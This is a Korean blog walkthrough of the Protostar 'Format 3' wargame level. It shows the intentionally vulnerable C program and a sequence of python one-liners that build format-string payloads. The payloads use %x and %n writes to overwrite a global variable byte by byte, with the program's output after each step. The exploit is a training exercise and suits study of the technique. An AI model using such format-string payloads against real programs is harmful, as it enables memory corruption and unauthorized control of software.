J0N9HYUN

Protostar Format 3 본문

Wargame/Protostar

Protostar Format 3

j0n9hyun 2018.12.23 06:07

format 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

이번에는 target을 0x01025544로 맞춰야 한다. 전처럼 A넣고 %p 또는 %x로 뒤에 나열되는 주소들을 확인해보자




(python -c 'print"A"*4 + "%x."*12'; cat) | ./format3
AAAAf7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d.ffffcd00.200.f7faf5a0.f7fefff9.41414141.
target is 00000000 :(


12번 주니까 414141에서  멈추고 target 이 현재 위치한 주소를 알려준다. 이제 이 수를 하나씩 채워나가야 한다.




(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf5\x96\x04\x08" + "C"*4 + "\xf7\x96\x04\x08" + "%x."*11 + "%x.%n"'; cat) | ./format3 AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d. ffffcd00.200.f7faf5a0.f7fefff9.41414141. target is 00000077 :(


[ 10 ] [ 255 ] [ 44 ] 형태로 총 3번에 걸쳐서 주소를 완성해야 하므로 일단 target 주소를 가져와서 코드처럼 차례로 적어준다. 

꼭 ABC 같은 문자가 아니여도 상관없다. target 주소는 0x080496f4 인데 주소를 맞추기 위해서 한칸씩 늘려준다. 

(마지막 target 주소에는 원래 f6을 적었으나 뒤에 진행을 하면서 주소가 잘 맞지 않는 부분이 있어 f7로 바꿔준 것이다)

입력을 마치면 0에서 계속 멈춰있을 것만 같은 주소가 77로 변경되어 있다.




(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf4\x96\x04\x08" + 
"C"*4 + "\xf4\x96\x04\x08" + "%x."*11 + "%144x.%n"'; cat) | ./format3
AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d.
ffffcd00.200.f7faf5a0.f7fefff9. 
          41414141.
target is 000000ff :(


우선 0x01025544 중 젤 뒤에 있는 두 자리 수를 채울 것이다. 144로 넣어봤는데 ff라는 주소로 바뀐다.

이전에 77에서 ff로 바뀐 것이다. 하지만 우리가 바꿔야 할 수는 44다. 

넣었던 주소 144에서 77을 빼준다. 이후 8(%x)을 다시 더해주면 Hex값으로 D5라는 결과가 나오는데 이걸 정수로 바꿔서 보면 213이다.

한번 213을 넣어보자.


(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf4\x96\x04\x08" + 
"C"*4 + "\xf4\x96\x04\x08" + "%x."*11 + "%213x.%n"'; cat) | ./format3
AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d.ffffcd00.200.f7faf5a0.f7fefff9.
      41414141.
target is 00000144 :(


예상대로 뒤에 두 자리는 44로 맞춰졌다. 이후 255와 01도 동일하게 계산하여 맞춰주면 된다.




(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf5\x96\x04\x08" + 
"C"*4 + "\xf6\x96\x04\x08" + "%x."*11 + "%213x.%n.%271x.%n."'; cat) | ./format3      
AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.
804849d.ffffcd00.200.f7faf5a0.f7fefff9.
41414141..
      42424242..
target is 00025544 :(


255 - 14e + 8 = 10F(271)




(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf5\x96\x04\x08" + 
"C"*4 + "\xf7\x96\x04\x08" + "%x."*11 + "%213x.%n.%271x.%n.%x.%n"'; cat) | ./format3
AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d.ffffcd00.200.f7faf5a0.f7fefff9.
41414141..
        42424242..43434343.
target is 5f025544 :(


라스트 01만 남았는데 여기서 데이터는 더 넘어가도 상관없으니까 101라고 입력해주면 01로 바뀌게 된다.

그러므로 101 - 5f + 8 = AA(170)이 된다.




(python -c 'print"A"*4 + "\xf4\x96\x04\x08" + "B"*4 + "\xf5\x96\x04\x08" + 
"C"*4 + "\xf7\x96\x04\x08" + "%x."*11 + "%213x.%n.%271x.%n.%170x.%n"'; cat) | ./format3
AAAA��BBBB��CCCC��f7fee010.f7e5b15b.0.f7faf000.f7faf000.ffffcf08.804849d.
ffffcd00.200.f7faf5a0.f7fefff9.
41414141..
      42424242..
            43434343.
you have modified the target :)


이렇게 라스트 숫자까지 바꿔주면 출력이 성공적으로 된다! 

'Wargame > Protostar' 카테고리의 다른 글

Protostar Heap 0  (0) 2018.12.29
Protostar Format 3  (0) 2018.12.23
Protostar Format 2  (0) 2018.12.23
Protostar Format 1  (0) 2018.12.22
Protostar Format 0  (0) 2018.12.22
Protostar Stack 7  (0) 2018.12.22
0 Comments
댓글쓰기 폼